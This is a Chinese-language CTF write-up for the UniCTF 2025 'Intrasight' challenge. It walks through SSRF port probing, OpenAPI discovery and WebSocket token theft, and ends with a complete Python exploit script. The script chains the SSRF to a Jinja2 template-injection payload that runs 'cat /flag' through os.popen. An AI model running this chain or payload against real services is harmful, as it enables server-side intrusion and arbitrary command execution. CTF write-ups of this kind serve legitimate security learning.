UniCTF-Intrassigght WP

发布于 2026-03-06  188 次阅读


一个下午一道 kfc

unictf 你好事做尽

UNICTF2025-Intrasight 打开容器界面如图

查看页面源代码发现三个内部服务点

public_web 通常指的是Web服务器的根目录或对外公开访问的文件夹 默认端口为80

admin_panel 网站的管理后台入口 一般端口为8080, 8443, 8888, 7001, 4848

w*_e1*r 这么奇形怪状还通配符替代,有问题

结合源代码中提到的WebSocket协议 ws:// 我们猜测这是一道 ssrf 类型题目

在 SSRF 题目中,如果不知道具体的端口或域名,用常用端口测试

80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337然年后就能发现在一大堆 500 的状态码中出现了两个 404

为了看清楚一点重新去访问一下,看到了application/JSON提示了服务器理解并处理JSON 格式的数据

看到 application/json 响应时,就应该去尝试访问 /openapi.json

因为 d 哥告诉我们

很多基于标准库开发的API 服务(比如用 Python 的 Flask + Flask-RESTX,或 Node.js 的 Swagger 中间件),都有一个默认且公开的端点,用来输出整个 API 的 OpenAPI 规范文档。这个文件通常就叫:

/openapi.json

/swagger.json

/api-docs

(三选一)

所以我们尝试访问/openapi.json 能看到

而 8000 端口有三个接口

分别访问一下

访问到/api/debug/config 时看到

访问到/redirect_ws时看到

访问<font style=“color:rgb(201, 209, 217);background-color:rgb(22, 27, 34);”>ws://127.0.0.1:9000/ws</font>发现是协议,还缺个 token

而 /redirect_ws 刚好有个 token,复制,粘贴,欧耶

发现 token值已经无效了(token 值会随时变)

ai 写个脚本获取 token 拿 flag

import requests
import json

# 基础URL配置
BASE_URL = "http://80-1c89b64d-4a9d-4cc0-a239-d7d7ccc9f7e1.challenge.ctfplus.cn"
FETCH_URL = f"{BASE_URL}/fetch"  # fetch端点URL

def main():
    """
    主函数:通过SSRF攻击链获取flag
    流程:获取token -> 构造WebSocket目标 -> 发送恶意模板渲染请求
    """
    try:
        # 第一步:通过redirect_ws获取token
        print("[*] 正在获取token...")
        redirect_resp = requests.get(
            FETCH_URL, 
            params={"url": "http://127.0.0.1:8001/redirect_ws"}
        )
        
        # 解析重定向响应中的token
        redirect_data = redirect_resp.json()
        # 从location参数中提取token值
        token = redirect_data["history"][0]["location"].split("token=")[1]
        print(f"[+] Token获取成功: {token}")

        # 第二步:构造目标WebSocket URL
        target_ws = f"ws://127.0.0.1:9000/ws?token={token}"
        print(f"[*] 目标WebSocket: {target_ws}")

        # 设置请求头,模拟内部请求
        headers = {
            "Origin": "http://127.0.0.1",  # 伪造来源为本地
            "X-Internal-Token": token,      # 内部认证token
            "Content-Type": "application/json"
        }

        # 构造Jinja2模板注入payload
        # 通过cycler对象获取os模块,执行系统命令读取flag
        payload = {
            "action": "render",  # 渲染操作
            "template": "{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}",  # 恶意模板
            "context": {}        # 空上下文
        }

        print("[*] 发送恶意模板渲染请求...")
        # 第三步:发送POST请求触发模板注入
        exploit_resp = requests.post(
            FETCH_URL,
            params={"url": target_ws},  # 目标WebSocket URL
            headers=headers,
            json=payload
        )

        # 格式化输出响应结果
        print("[+] 攻击完成,响应结果:")
        print(json.dumps(exploit_resp.json(), indent=2, ensure_ascii=False))

    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求异常: {e}")
    except KeyError as e:
        print(f"[-] 解析响应数据失败: {e}")
    except Exception as e:
        print(f"[-] 未知错误: {e}")

if __name__ == "__main__":
    print("[+] SSRF攻击脚本启动")
    main()
    print("[+] 脚本执行完毕")

game over

新兵蛋子玩个蛋的 kfc,脑壳痛


咔咔咔咔咔咔嚓